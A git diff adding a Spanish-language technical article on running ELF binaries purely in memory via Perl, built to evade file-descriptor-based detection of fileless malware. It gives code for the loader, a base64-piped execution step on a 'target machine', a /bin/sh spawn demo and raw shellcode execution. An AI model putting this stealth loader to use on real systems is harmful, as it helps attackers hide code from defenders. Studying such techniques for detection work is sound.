diff --git a/3/es/10.html b/3/es/10.html new file mode 100644 index 0000000..87fe2cc --- /dev/null +++ b/3/es/10.html @@ -0,0 +1,1349 @@ + +
+
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+in-memory-only fd-less ELF execution (with Perl) │ █ │
+~ isra _replace_this_by_@ fastmail.net └───────────────────█ ──┘
+
+====[ motivación ]==============================================================
+
+Los enfoques actuales para ejecución de ELFs solo-en-memoria[1] usan típicamente
+las llamadas de sistema memfd_create() y fexecve() que dependen de la existencia
+de descriptores de archivo en el sistema de ficheros /proc. Este comportamiento
+puede ser monitoreado y detectado sin mucho esfuerzo[2]. Por lo tanto, surgen
+las siguientes preguntas:
+
+ ¿Es posible conseguir ejecución de ELFs solo-en-memoria sin usar descriptores
+ de archivo?
+
+ De ser así, ¿se puede conseguir utilizando herramientas por defecto de una
+ distribución Linux (i.e. sin instalar paquetes adicionales)?
+
+La respuesta es sí, gracias a módulos estándar de Perl y un poco de peek & poke.
+
+Este artículo describe la implementación de exec_elf64.pl, un script para
+ejecución de ELFs solo-en-memoria sin tocar el sistema de ficheros. Este enfoque
+considera lo siguiente:
+
+ - El contenido binario del ELF va incrustado ("hardcoded") en el código fuente
+ del script.
+
+ - El objeto ELF es procesado y cargado en memoria.
+
+ - El proceso de cargado en memoria soporta reubicaciones ("relocations") y el
+ uso de símbolos externos desde objetos compartidos. En este caso los símbolos
+ externos son cargados desde glibc.
+
+ - Soporta ELFs x64.
+
+ - El script está escrito en Perl, un lenguaje interpretado disponible por
+ defecto en la mayoría de distribuciones Linux x64. Se requiere la versión
+ de Perl 5.008001 o superior.
+
+El código fuente puede ser encontrado en:
+
+ https://git.sr.ht/~hckng/elf/tree/master/item/exec_elf64.pl
+ https://github.com/ilv/elf/blob/main/exec_elf64.pl
+
+
+====[ preliminares ]===========================================================
+
+Los pasos para cargar y ejecutar un ELF en memoria pueden ser resumidos como
+sigue:
+
+ 1) Leer el contenido del ELF.
+ 2) Procesar las cabeceras ELF (secciones, segmentos, etc).
+ 3) Usar la información obtenida de las cabeceras para mapear el código y datos
+ del ELF en memoria.
+ 4) Aplicar reubicaciones (incluyendo símbolos externos).
+ 5) Ejecutar las funciones mapeadas del ELF.
+
+Cada uno de estos pasos será descrito en las siguientes secciones considerando
+el siguiente objeto ELF:
+
+------------------------------ START obj.c -------------------------------------
+ #include <stdio.h>
+
+ void print_japh(void) {
+ putchar('j');
+ putchar('a');
+ putchar('p');
+ putchar('h');
+ putchar('\n');
+ }
+
+ int main(void) {
+ char *str = "i am an elf";
+
+ printf("%s\n", str);
+ print_japh();
+
+ return 0;
+ }
+------------------------------- END obj.c --------------------------------------
+
+ $ gcc -c obj.c
+ $ file obj.o
+ obj.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
+
+
+====[ parte 1: leer el ELF ]====================================================
+
+El enfoque usual para abrir un fichero y realizar operaciones E/S (tales como
+leer, escribir, etc.) considera el uso de una ruta hacia un archivo existente
+en el sistema de ficheros o el uso de un descriptor de archivo, que en algunos
+casos puede representar un fichero solo-en-memoria[1] o "anónimo". Estas
+opciones requieren interacción con el sistema de ficheros regular y el sistema
+de ficheros proc, respectivamente.
+
+Sin embargo, Perl provee un método alternativo para abrir un "filehandle"
+utilizando una referencia a una variable escalar en vez de un nombre de archivo.
+Por ejemplo:
+
+--------------------------------------------------------------------------------
+my $buff;
+my $str = "hola mundo";
+
+open my $fh, '<', \$str;
+read $fh, $buff, 5;
+close $fh;
+
+print "content read: $buff\n";
+--------------------------------------------------------------------------------
+
+El código anterior crea un filehandle $fh utilizando una referencia a la cadena
+$str y lee 5 bytes en $buff mediante la función read(). Este método también
+puede ser utilizado para acceder al contenido de un objeto ELF desde una
+referencia a una cadena y realizar operaciones E/S sobre él.
+
+En primer lugar, se define la subrutina read_elf() como sigue:
+
+--------------------------------------------------------------------------------
+ sub read_elf {
+ my $code = get_code();
+ open my $fh, '<:raw', \$code;
+
+ return ($code, $fh);
+ }
+--------------------------------------------------------------------------------
+
+Se retorna la cadena $code y el filehandle $fh dado que ambas serán utilizadas
+más adelante al procesar y mapear el objeto ELF. Para crear la cadena $code se
+utiliza el siguiente comando de una linea:
+
+ $ perl -e 'print"my \$code = \"\";\n";$/=\32;' \
+ -e 'print"\$code .= pack q/H*/, q/".(unpack"H*")."/;\n" while(<>)' ./obj.o
+
+El comando anterior genera una cadena $code con el contenido binario del objeto
+ELF. Así, la cadena $code puede ser include en la subrutina get_code():
+
+--------------------------------------------------------------------------------
+ sub get_code {
+ my $code = "";
+ $code .= pack q/H*/, q/7f454c460201010000000000[...]000000000000000000000/;
+ $code .= pack q/H*/, q/000000000000000018040000[...]40000000040000d000c00/;
+ $code .= pack q/H*/, q/554889e5bf6a000000e80000[...]f6000bf70000000e80000/;
+ $code .= pack q/H*/, q/0000bf68000000e800000000[...]00000e3554889e54883ec/;
+ [...]
+ [...]
+ $code .= pack q/H*/, q/000000000000000000000000[...]000006100000000000000/;
+ $code .= pack q/H*/, q/000000000000000001000000[...]000000000000000000/;
+ return $code;
+ }
+--------------------------------------------------------------------------------
+
+Para términos prácticos la subrutina get_code() se define al final del script
+exec_elf64.pl con el fin de facilitar el reemplazo de la cadena $code por una
+nueva.
+
+
+====[ parte 2: procesar el ELF ]================================================
+
+Perl no provee un módulo estándar para procesar ELFs, sin embargo, la función
+unpack() puede ser utilizada para extraer el contenido binario del ELF basado en
+un conjunto de plantillas de tipos de datos[3]:
+
+ - "C", un valor char sin signo (1 byte).
+ - "a", una cadena con datos binarios arbitrarios (1 byte).
+ - "x", un byte nulo.
+ - "S", un valor short sin signo (2 bytes).
+ - "i", un valor entero con signo (4 bytes).
+ - "I", un valor entero sin signo (4 bytes).
+ - "q", un valor quad con signo (8 bytes).
+ - "Q", un valor quad sin signo (8 bytes).
+
+La cabecera ELF, la tabla de cabeceras de sección, la tabla de símbolos, la
+tabla de cadenas y las reubicaciones son procesadas principalmente en base a las
+especificaciones de referencia de Linux[4][5][6][7] y la lógica implementada en
+el script readelf.pl[8].
+
+En este trabajo dos subrutinas auxiliares ru() y mk_hash() son definidas para
+leer/desempaquetar y crear hashes asociados a las cabeceras procesadas,
+respectivamente. Así, la cabecera ELF inicial es leída y procesada como sigue
+(usando los campos definidos en @e_keys):
+
+--------------------------------------------------------------------------------
+# elf header keys
+my @e_keys = (
+ 'ei_mag0', 'ei_mag1', 'ei_mag2', 'ei_mag3', 'ei_class', 'ei_data',
+ 'ei_version', 'ei_osabi', 'ei_abiversion', #ei_pad ignored
+ 'e_type', 'e_machine', 'e_version', 'e_entry', 'e_phoff', 'e_shoff',
+ 'e_flags', 'e_ehsize', 'e_phentsize', 'e_phnum', 'e_shentsize', 'e_shnum',
+ 'e_shstrndx'
+);
+
+[...]
+
+sub parse_ehdr {
+ my @hdr = ru($efh, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40);
+ mk_hash(\%ehdr, \@e_keys, \@hdr);
+}
+--------------------------------------------------------------------------------
+
+En este caso la cabecera ELF es almacenada en %ehdr y sus valores pueden ser
+accedidos utilizando los campos respectivos (e.g. $ehdr{'ei_mag0'}).
+
+La tabla de cabeceras de programa no es utilizada durante el procesamiento del
+ELF y posterior mapeo por lo que es ignorada. La tabla de cabeceras de sección
+es leída y procesada como sigue:
+
+--------------------------------------------------------------------------------
+ sub parse_shtab {
+ seek $efh, $ehdr{'e_shoff'}, 0;
+ for (my $i = 0; $i < $ehdr{'e_shnum'}; $i++) {
+ my %sh;
+ my @hdr = ru($efh, "I I q q q q I I q q", $ehdr{'e_shentsize'});
+ mk_hash(\%sh, \@sh_keys, \@hdr);
+ push @shtab, \%sh;
+
+ # read content of section header entry of type 'STRTAB'
+ if($sh{'sh_type'} == 3) {
+ my $tmpstr;
+ my $curr_offset = tell $efh;
+ seek $efh, $sh{'sh_offset'}, 0;
+ read $efh, $tmpstr, $sh{'sh_size'};
+ seek $efh, $curr_offset, 0;
+ $strtab{$sh{'sh_offset'}} = $tmpstr;
+ }
+ }
+ }
+--------------------------------------------------------------------------------
+
+En el código anterior la tabla de cabeceras de sección está representada por el
+arreglo @shtab y sus entradas por hashes en base a los campos definidos en el
+arreglo @sh_keys.
+
+Adicionalmente, cuando se encuentra una entrada de cabecera de sección de tipo
+sh_type = 3 (STRTAB) se cambia el puntero del filehandle $efh a la posición
+sh_offset para leer el contenido de dicha entrada y almacenar su valor en
+%strtab, el hash que representa la tabla de cadenas.
+
+La tabla de cabeceras de sección es procesada una segunda vez para obtener el
+nombre asociado a cada entrada en base al contenido de la tabla de cadenas. Los
+índices de las secciones text, data, symtab, rodata y rela.text en @shtab
+también son almacenados para posteriormente acceder de forma directa a dichas
+secciones.
+
+--------------------------------------------------------------------------------
+ sub secname {
+ my $ndx = shift;
+ my $str = shift;
+
+ my $s = substr($str, $ndx);
+ my $r = substr($s, 0, index($s, "\0"));
+ }
+
+ # parse section names from string table
+ sub parse_secnames {
+ my $shstrtab = $shtab[$ehdr{'e_shstrndx'}];
+ for(my $i = 0; $i < $ehdr{'e_shnum'}; $i++) {
+ my $name = secname(
+ $shtab[$i]{'sh_name'},
+ $strtab{$shstrtab->{'sh_offset'}}
+ );
+ # add 'name' to each section header entry
+ $shtab[$i]{'name'} = $name;
+
+ # save indexes for easier access to relevant segments
+ $text_ndx = $i if($name eq '.text');
+ $data_ndx = $i if($name eq '.data');
+ $symtab_ndx = $i if($name eq '.symtab');
+ $rodata_ndx = $i if($name eq '.rodata');
+ $relatext_ndx = $i if($name eq '.rela.text');
+ }
+ }
+--------------------------------------------------------------------------------
+
+De forma similar, la tabla de símbolos es leída y procesada como sigue:
+
+--------------------------------------------------------------------------------
+ # parse symbol table
+ [...]
+ my $symtab = $shtab[$symtab_ndx];
+ my $sh_link = $shtab[$symtab->{'sh_link'}];
+ my $num_entry = $symtab->{'sh_size'}/$symtab->{'sh_entsize'};
+ [...]
+ seek $efh, $symtab->{'sh_offset'}, 0;
+ for (my $i = 0; $i < $num_entry; $i++) {
+ my %sym;
+ my @hdr = ru($efh, "I C C S q q", $symtab->{'sh_entsize'});
+ mk_hash(\%sym, \@st_keys, \@hdr);
+
+ my $type = $sym{'st_info'} & 0x0f;
+ my $name = secname(
+ $sym{'st_name'},
+ $strtab{$sh_link->{'sh_offset'}}
+ );
+ # add 'name' to each symbol
+ $sym{'name'} = $name;
+ push @symtab, \%sym;
+
+ # save st_value of symbols of type 'FUNC'
+ $funcs{$name} = $sym{'st_value'} if($type == 2);
+ }
+--------------------------------------------------------------------------------
+
+La tabla de símbolos está representada por el arreglo @symtab y sus entradas
+por hashes en base a los campos definidos en el arreglo @st_keys, con un campo
+"name" adicional que contiene el nombre del símbolo obtenido desde la tabla de
+cadenas. Además, el hash %funcs es utilizado para almacenar el campo st_value
+de una función en base a su nombre.
+
+Las reubicaciones son leídas y procesadas de forma similar:
+
+--------------------------------------------------------------------------------
+ # parse relocations
+ my $rt = $shtab[$relatext_ndx];
+ my $entry_num = $rt->{'sh_size'}/$rt->{'sh_entsize'};
+ [..]
+ for (my $i = 0; $i < $entry_num; $i++) {
+ my %r;
+ my @hdr = ru($efh, "q Q i", $rt->{'sh_entsize'});
+ mk_hash(\%r, \@r_keys, \@hdr);
+
+ # 4 bytes on little endian order
+ my $sym_ndx = unpack("V", pack("N", $r{'r_info'} >> 8));
+ # low-order bits only
+ my $type = $r{'r_info'} & 0x0f;
+ my $sym_name = $symtab[$sym_ndx]{'name'};
+ my $sym_shndx = $symtab[$sym_ndx]{'st_shndx'};
+
+ $r{'type'} = $type;
+ $r{'symndx'} = $sym_ndx;
+ push @relocs, \%r;
+
+ # save external symbols (st_shndx of type 'UND')
+ # the num_extsym counter is used later for lookup in a 'jump table'
+ $extsym{$sym_name} = $num_extsym++ if($sym_shndx == 0);
+ }
+--------------------------------------------------------------------------------
+
+En este caso las reubicaciones están representadas por el arreglo @relocs y sus
+entradas por hashes en base a los campos definidos en el arreglo @r_keys, con
+dos campos adicionales "type" y "symndx" que representan el tipo de reubicación
+y el índice en la tabla de símbolos del símbolo asociado a dicha reubicación. El
+hash %extsym es utilizado también para mantener registro de la cantidad de
+símbolos externos y sus respectivos nombres.
+
+Finalmente, la subrutina parse_elf() queda como sigue:
+
+--------------------------------------------------------------------------------
+ sub parse_elf {
+ my $fh = shift;
+ $efh = $fh;
+
+ parse_ehdr();
+ parse_shtab();
+ parse_secnames();
+ parse_symtab();
+ parse_relocs();
+ }
+--------------------------------------------------------------------------------
+
+
+====[ parte 3: mapear el ELF ]==================================================
+
+La mayor parte del proceso de mapeo está basado en [9], que consiste básicamente
+en tres pasos:
+
+
+ i) Mapeo de memoria
+ ii) Copiar datos en el área mapeada
+ iii) Protecciones de acceso a memoria
+
+
+i) Mapeo de memoria
+
+El mapeo de memoria se lleva a cabo usando la función syscall() de Perl para
+llamar a mmap:
+
+--------------------------------------------------------------------------------
+ my $ptr = syscall(9, $addr, $size, $protect, $flags, -1, 0);
+--------------------------------------------------------------------------------
+
+Donde:
+
+ - 9 es el número del sycall mmap en Linux x86_64.
+
+ - $addr es la dirección de inicio del nuevo mapeo. Si se indica el valor 0 mmap
+ escogerá una dirección y retornará su valor.
+
+ - $size es el tamaño del mapeo.
+
+ - $protect es un entero que indica la protección de memoria del mapeo. Los
+ posibles valores pueden ser revisados en [10]. En este caso se usa el valor
+ PROT_READ | PROT_WRITE = 3.
+
+ - $flags es un entero que indica la visibilidad de los cambios de mapeo y el
+ uso de ficheros. En este caso se usa el valor MAP_SHARED | MAP_ANONYMOUS = 33
+
+Los parámetros restantes están relacionados con mapeo asociado a archivos y
+pueden ser ignorados utilizando los valores -1 y 0.
+
+mmap retornará la dirección de inicio del área de memoria mapeada en caso de
+éxito y -1 en caso de error.
+
+
+ii) Copiar datos en el área mapeada
+
+A diferencia de mmap no existe llamada de sistema para copiar datos en memoria.
+Tampoco hay alguna función por defecto en Perl para copiar datos en bruto en
+memoria. Sin embargo, se pueden usar algunos trucos para conseguir lo anterior:
+peek & poke.
+
+El código utilizado para peek & poke proviene de [11], un script para inyección
+syscall/shellcode en OSX que permite copiar datos $bytes arbitrarios en una
+dirección de memoria $location.
+
+(NOTA: por simplicidad algunos comentarios y verificaciones en el código fueron
+eliminadas; los comentarios restantes son del autor original)
+
+--------------------------------------------------------------------------------
+sub _pack_address {
+ my $p = pack("Q", $_[0]);
+ return $p;
+}
+
+sub peek {
+ unpack "P$_[1]", _pack_address($_[0]);
+}
+
+sub poke {
+ my($location, $bytes) = @_;
+
+ my $len = length($bytes);
+ my $addr = _pack_address($location);
+
+ # construct a B::PV object, backed by a SV/SvPV to a dummy string
+ # length($bytes) long, and substitute $location as the actual string storage
+ # we specifically use the same length so we do not have to deal with resizing
+ my $dummy = 'X' x $len;
+ my $dummy_addr = \$dummy + 0;
+ my $ghost_sv_contents = peek($dummy_addr, 8 + 4 + 4 + $Config{ivsize});
+ substr( $ghost_sv_contents, 8 + 4 + 4, 8 ) = $addr;
+
+ my $ghost_string_ref = bless( \ unpack(
+ "Q",
+ # it is crucial to create a copy of $sv_contents, and work with a temporary
+ # memory location. Otherwise perl memory allocation will kick in and wreak
+ # considerable havoc culminating with an inevitable segfault
+ do { no warnings 'pack'; pack( 'P', $ghost_sv_contents.'' ) },
+ ), 'B::PV' )->object_2svref;
+
+ # now when we write to the newly created "string" we are actually writing
+ # to $location
+ eval 'substr($$ghost_string_ref, 0, $len) = $bytes';
+ return $len;
+}
+--------------------------------------------------------------------------------
+
+De forma resumida, poke() modifica tipos de datos internos de Perl para forzar
+la creación de una variable temporal que apunta a una cadena ubicada en
+$location y luego cambia el contenido de la cadena con $bytes. Para un mejor
+entendimiento de como funciona poke() es necesario indagar en conceptos
+avanzados de Perl, lo que está fuera del alcance de este artículo. El lector
+puede revisar [12][13][19] para mayor información.
+
+
+iii) Protecciones de acceso a memoria
+
+De forma similar al mapeo de memoria, se utiliza la función syscall() para
+llamar a mprotect:
+
+--------------------------------------------------------------------------------
+ my $mp = syscall(10, $addr, $size, $protect);
+--------------------------------------------------------------------------------
+
+Donde:
+
+ - 10 es el número del sycall mprotect en Linux x86_64.
+
+ - $addr y $size definen el intervalo del área mapeada donde las protecciones
+ de acceso serán actualizadas.
+
+ - $protect es un entero que indica la protección de memoria[14] para el
+ intervalo especificado. En este caso se usan los valores
+ PROT_READ | PROT_EXEC = 5 y PROT_READ = 1.
+
+mprotect retornará 0 en caso de éxito y -1 en caso de error
+
+El proceso de mapeo puede entonces llevarse a cabo siguiendo los pasos descritos
+en [9]. Primero, el código del objeto ELF es mapeado y su contenido copiado en
+el área mapeada.
+
+--------------------------------------------------------------------------------
+ $base_ptr = mmap(0, length($code), 3, 33);
+ if($base_ptr == -1) {
+ print "Failed to allocate memory for ELF\n";
+ exit;
+ }
+
+ poke($base_ptr, $code, length($code));
+--------------------------------------------------------------------------------
+
+Luego, los segmentos text, data, y rodata son mapeados y copiados en memoria de
+forma contigua junto con una tabla "jump" auxiliar (descrita más adelante). Dado
+que la variable $code es una cadena que contiene los datos binarios del objeto
+ELF (según lo descrito en la parte 1), se puede obtener el contenido de cada
+segmento extrayendo una subcadena de $code en base a los valores sh_offset y
+sh_size.
+
+--------------------------------------------------------------------------------
+ my $text = $shtab[$text_ndx];
+ my $data = $shtab[$data_ndx];
+ my $rodata = $shtab[$rodata_ndx];
+
+ my $jmptab_size = $num_extsym*14;
+
+ my $text_ptr = mmap(
+ 0,
+ page_align($text->{'sh_size'}) +
+ page_align($data->{'sh_size'}) +
+ page_align($rodata->{'sh_size'}) +
+ page_align($jmptab_size),
+ 3,
+ 33
+ );
+
+ if ($text_ptr == -1) {
+ print "Failed to allocate memory for .text\n";
+ exit;
+ }
+
+ my $data_ptr = $text_ptr + page_align($text->{'sh_size'});
+ my $rodata_ptr = $data_ptr + page_align($data->{'sh_size'});
+ my $jmptab_ptr = $rodata_ptr + page_align($rodata->{'sh_size'});
+
+ # copy segments into memory
+ poke(
+ $text_ptr,
+ substr($code, $text->{'sh_offset'}, $text->{'sh_size'})
+ );
+ poke(
+ $data_ptr,
+ substr($code, $data->{'sh_offset'}, $data->{'sh_size'})
+ );
+ poke(
+ $rodata_ptr,
+ substr($code, $rodata->{'sh_offset'}, $rodata->{'sh_size'})
+ );
+--------------------------------------------------------------------------------
+
+Luego de esto se aplican las reubicaciones y las protecciones de memoria son
+actualizadas para los segmentos text, rodata y la tabla jump.
+
+--------------------------------------------------------------------------------
+ do_relocs($text_ptr, $data_ptr, $rodata_ptr, $jmptab_ptr);
+
+ if(mprotect($text_ptr, $text->{'sh_size'}, 5) == -1) {
+ print "Failed to mprotect .text\n";
+ exit;
+ }
+
+ # check .rodata sh_size fist in case is not defined
+ if(exists $rodata->{'sh_size'}) {
+ if(mprotect($rodata_ptr, $rodata->{'sh_size'}, 1) == -1) {
+ print "Failed to mprotect .rodata\n";
+ exit;
+ }
+ }
+
+ if(mprotect($jmptab_ptr, $jmptab_size, 5) == -1) {
+ print "Failed to mprotect jump table\n";
+ exit;
+ }
+--------------------------------------------------------------------------------
+
+
+====[ parte 5: reubicaciones y símbolos externos ]=============================
+
+De forma similar al proceso de mapeo las reubicaciones se llevan a cabo
+siguiendo los pasos descritos en [15], que solo considera reubicaciones del
+tipo R_X86_64_PLT32 = 4 y R_X86_64_PC32 = 2 para los segmentos text, data y
+rodata. En este caso también se utiliza poke() para copiar las reubicaciones
+calculadas en la dirección original.
+
+--------------------------------------------------------------------------------
+ my $sym_ndx = $relocs[$i]{'symndx'};
+
+ [...]
+
+ my $patch_offset = $text_ptr + $relocs[$i]{'r_offset'};
+
+ $base_ptr = $text_ptr if($sec_name eq '.text');
+ $base_ptr = $data_ptr if($sec_name eq '.data');
+ $base_ptr = $rodata_ptr if($sec_name eq '.rodata');
+
+ $sym_addr = $base_ptr + $symtab[$sym_ndx]{'st_value'};
+
+ [...]
+
+ if($relocs[$i]{'type'} == 4 or $relocs[$i]{'type'} == 2) {
+ my $relo = $sym_addr + $relocs[$i]{'r_addend'} - $patch_offset;
+ # pack in little endian order (4 bytes)
+ $relo = pack("V", $relo);
+ # apply relocation by simply copying the calculated address
+ # into the patch offset address
+ poke($patch_offset, $relo, length($relo));
+ }
+--------------------------------------------------------------------------------
+
+Los símbolos externos, identificados con el valor st_shndx = 0 (UND), son
+procesados durante la reubicación siguiendo los pasos descritos en [16]. Para
+lograr lo anterior se implementa un PLT/GOT simplificado mediante el uso de una
+tabla "jump" auxiliar para resolver referencias externas. Cada entrada en la
+tabla jump contiene lo siguiente:
+
+ - La dirección del símbolo externo (8 bytes).
+ - Una instrucción jump fija "\xff\x25\xf2\xff\xff\xff" (6 bytes).
+
+Por simplicidad, la tabla jump se implementa mapeando N*14 bytes después del
+segmento rodata y cada entrada en la tabla jump comienza en la posición i*14,
+donde 'N' es el número de símbolos externos e 'i' es un valor entre 0 y N-1 que
+representa el i-ésimo símbolo externo encontrado durante el procesamiento del
+ELF.
+
+--------------------------------------------------------------------------------
+ sub map_elf {
+
+ [...]
+
+ my $jmptab_size = $num_extsym*14;
+
+ # map segments and 'jump table' next to each other
+ my $text_ptr = mmap(
+ 0,
+ page_align($text->{'sh_size'}) +
+ page_align($data->{'sh_size'}) +
+ page_align($rodata->{'sh_size'}) +
+ page_align($jmptab_size),
+ 3,
+ 33
+ );
+
+ [...]
+
+ my $jmptab_ptr = $rodata_ptr + page_align($rodata->{'sh_size'});
+
+ [...]
+
+ }
+--------------------------------------------------------------------------------
+
+Dado que la tabla jump está suficientemente cerca en memoria al resto de las
+otras secciones, la reubicación para un símbolo externo debe ser calculada hacia
+la instrucción jump ubicada en su entrada de la tabla jump, que a su vez realiza
+un jump hacia atrás (-14 bytes) hasta el comienzo de la entrada donde está
+almacenada la dirección real del símbolo externo.
+
+--------------------------------------------------------------------------------
+ my $sym_ndx = $relocs[$i]{'symndx'};
+
+ [...]
+
+ my $sym_name = $symtab[$sym_ndx]{'name'};
+
+ [...]
+
+ my $jmptab_ndx = $jmptab_ptr + ($extsym{$sym_name}*14);
+ $sym_addr = $jmptab_ndx + 8;
+--------------------------------------------------------------------------------
+
+La dirección de un símbolo externo puede ser obtenida utilizando el módulo Perl
+estándar DynaLoader que "Carga dinámicamente librerías C en código Perl"[17].
+En primer lugar se debe cargar una referencia de librería para buscar el símbolo
+con dl_load_file(). En este caso se utiliza el archivo .so de glibc:
+
+--------------------------------------------------------------------------------
+ my $libc_path = "/usr/lib/x86_64-linux-gnu/libc.so.6";
+ my $libref = DynaLoader::dl_load_file($libc_path, 0x01);
+--------------------------------------------------------------------------------
+
+La dirección del símbolo externo es buscada utilizando dl_find_symbol() con la
+referecia de librería y el nombre del símbolo como parámetros. La tabla jump se
+construye entonces empaquetando (packing) la dirección externa en orden "litte-
+endian" y añadiendo la instrucción jump. Finalmente la entrada de la tabla jump
+es copiada en memoria en la posición $jmptab_ndx calculada anteriormente. Luego
+de esto el proceso de reubicación se retoma utilizando $jmptab_ndx + 8 como la
+dirección del símbolo en la fórmula de reubicación.
+
+--------------------------------------------------------------------------------
+ my $jmptab_ndx = $jmptab_ptr + ($extsym{$sym_name}*14);
+ $sym_addr = $jmptab_ndx + 8;
+
+ [...]
+
+ my $ext_addr = DynaLoader::dl_find_symbol($libref, $sym_name);
+
+ # "V" format is 4 bytes; external address is 8 bytes
+ my ($p1, $p2) = unpack("V2", pack("Q", $ext_addr));
+ my $jmptab_entry = pack("V", $p1);
+ $jmptab_entry .= pack("V", $p2);
+ $jmptab_entry .= "\xff\x25\xf2\xff\xff\xff";
+
+ # update 'jump table' in memory
+ poke($jmptab_ndx, $jmptab_entry, length($jmptab_entry));
+
+ [...]
+ my $relo = $sym_addr + $relocs[$i]{'r_addend'} - $patch_offset;
+--------------------------------------------------------------------------------
+
+
+====[ parte 5: ejecutar el ELF ]================================================
+
+El módulo Perl estándar DynaLoader es utilizado nuevamente para lograr la
+ejecución de funciones mapeadas del ELF. Además de cargar librerías externas y
+encontrar símbolos, DynaLoader puede "instalar subrutinas externas" mediante la
+función dl_install_xsub():
+
+--------------------------------------------------------------------------------
+ my $ref = dl_install_xsub($perl_name, $symref [, $filename])
+--------------------------------------------------------------------------------
+
+Este método crea una nueva subrutina externa llamada $perl_name usando $symref
+como un puntero a la función que implementa dicha subrutina. En caso de éxito
+dl_install_xsub() retorna una referencia a la "función instalada". De acuerdo a
+la documentación de DynaLoader:
+
+"Se debe recalcar que DynaLoader, por sí mismo, es prácticamente inútil para
+acceder librerías no-Perl ya que casi no provee "pegamento" Perl-hacia-C. Por
+ejemplo, no hay forma de llamar a una función de librería C o especificar
+argumentos".
+
+Sin embargo, es posible utilizar dl_install_xsub() especificando el st_value
+de una función mapeada del ELF como puntero y lograr su ejecución de forma
+exitosa.
+
+--------------------------------------------------------------------------------
+sub exec_func {
+ my $func_name = shift;
+ my $text_ptr = shift;
+ my $func_ptr = $funcs{$func_name};
+
+ my $func = DynaLoader::dl_install_xsub(
+ "_japh", # not really used
+ $text_ptr + $func_ptr,
+ __FILE__ # no file
+ );
+
+ # dereference and execute
+ &{$func};
+}
+--------------------------------------------------------------------------------
+
+En este caso el nombre de la función a ser ejecutada es "main". Finalmente, la
+lógica principal del script puede ser resumida como sigue:
+
+--------------------------------------------------------------------------------
+my ($code, $fh) = read_elf();
+parse_elf($fh);
+my $text_ptr = map_elf($code);
+exec_func('main', $text_ptr);
+--------------------------------------------------------------------------------
+
+Y luego:
+
+ $ perl exec_elf64.pl
+ i am an elf
+ japh
+
+====[ aftermath ]==============================================================
+
+Para lograr ejecución sin-fd de forma completa una opción es codificar el código
+fuente del script en base64 en una máquina remota, decodificarla en la máquina
+objetivo y luego hacer "pipe" al intérprete perl:
+
+ # on a remote host
+ $ cat exec_elf64.pl | base64 --wrap 0
+ IyEvdXNyL2Jpbi9wZXJsCgp1c2UgRHluYU[...........................................]
+ [.............................................................................]
+ [.............................................................................]
+ [.............................................................................]
+ ByZXR1cm4gJGNvZGU7Cn0=
+
+ # on the target machine
+ $ echo "IyEvdXNyL2Jpbi9wZX[...]ByZXR1cm4gJGNvZGU7Cn0=" | base64 -d | perl
+ i am an elf
+ japh
+
+
+Por otro lado, para facilitar las pruebas y debug del script con otros objetos
+ELF, la subrutina read_elf() puede ser adaptada para abrir archivos regulares
+como sigue:
+
+--------------------------------------------------------------------------------
+sub read_elf {
+ # uncomment below to open ELF as a regular file
+ my $in = pop (@ARGV);
+ my $code = "";
+
+ open my $fh, '<:raw', $in;
+ $code .= $_ while(<$fh>);
+ close $fh;
+
+ open my $fh, '<:raw', $in;
+
+ #my $code = get_code();
+ #open my $fh, '<:raw', \$code;
+
+ return ($code, $fh);
+}
+--------------------------------------------------------------------------------
+
+Por temas de completitud se realiza una prueba adicional con un ELF más
+elaborado, en este caso "self-mutating x86_64 C program"[18] que implementa
+código auto-cambiante para lanzar una shell /bin/sh:
+
+ $ gcc -c selfmut.c
+ $ ps o user,cmd
+ USER CMD
+ isra /bin/bash
+ isra ps o user,cmd
+
+ $ perl exec_elf64.pl selfmut.o
+ Calling foo
+ i: 1
+ Calling foo
+ $ ps o user,cmd
+ USER CMD
+ isra /bin/bash
+ isra /bin/sh
+ isra ps o user,cmd
+
+
+====[ extra mile ]=============================================================
+
+El script original para inyección syscall/shellcode en OSX[11] puede ser
+fácilmente adaptado para Linux x64 utilizando las subrutinas mmap() y mprotect()
+descritas en la parte 3, logrando ejecución de código ensamblador con el uso de
+DynaLoader y peek & poke.
+
+Para ello considerar el siguiente código:
+
+---------------------------- BEGIN code.s --------------------------------------
+BITS 64
+global _start
+section .text
+_start:
+ call main
+ db "i am a shellcode", 0xa, 0x0
+
+ main:
+ xor rax, rax
+ xor rdx, rdx
+ inc al
+ mov rdi, rax
+ pop rsi
+ mov dl, 17
+ syscall
+ xor rdx, rdx
+ mov rax, 60
+ syscall
+------------------------------- END code.s -------------------------------------
+
+ $ nasm -f elf64 code.s -o code.o
+ $ objdump -d code.o
+
+Luego, usando la representación hexadecimal de la sección text de code.o:
+
+--------------------------------------------------------------------------------
+my $code = "\xe8\x12\x00\x00\x00\x69\x20\x61\x6d\x20\x61\x20\x73\x68\x65\x6c";
+$code .= "\x6c\x63\x6f\x64\x65\x0a\x00\x48\x31\xc0\x48\x31\xd2\xfe\xc0\x48";
+$code .= "\x89\xc7\x5e\xb2\x11\x0f\x05\x48\x31\xd2\xb8\x3c\x00\x00\x00\x0f";
+$code .= "\x05";
+
+my $p = mmap(0, length($code), 3, 33);
+if($p == -1) {
+ print "Couldn't mmap!\n";
+ exit;
+}
+
+poke($p, $code, length($code));
+
+if(mprotect($p, length($code), 5) == -1) {
+ print "Failed to mprotect\n";
+ exit;
+}
+my $func = DynaLoader::dl_install_xsub("_shell", $p, __FILE__);
+&{$func};
+------------------------------ END CODE ----------------------------------------
+
+ $ perl exec_asm.pl
+ i am a shellcode
+
+Esto también puede ser ejecutado sin-fd utilizando el enfoque mencionado
+anteriormente (codificación base64 y pipe).
+
+
+====[ referencias ]============================================================
+
+[1] https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
+[2] https://sandflysecurity.com/blog/detecting-linux-memfd-create-fileless-malware-with-command-line-forensics/
+[3] https://perldoc.perl.org/functions/pack
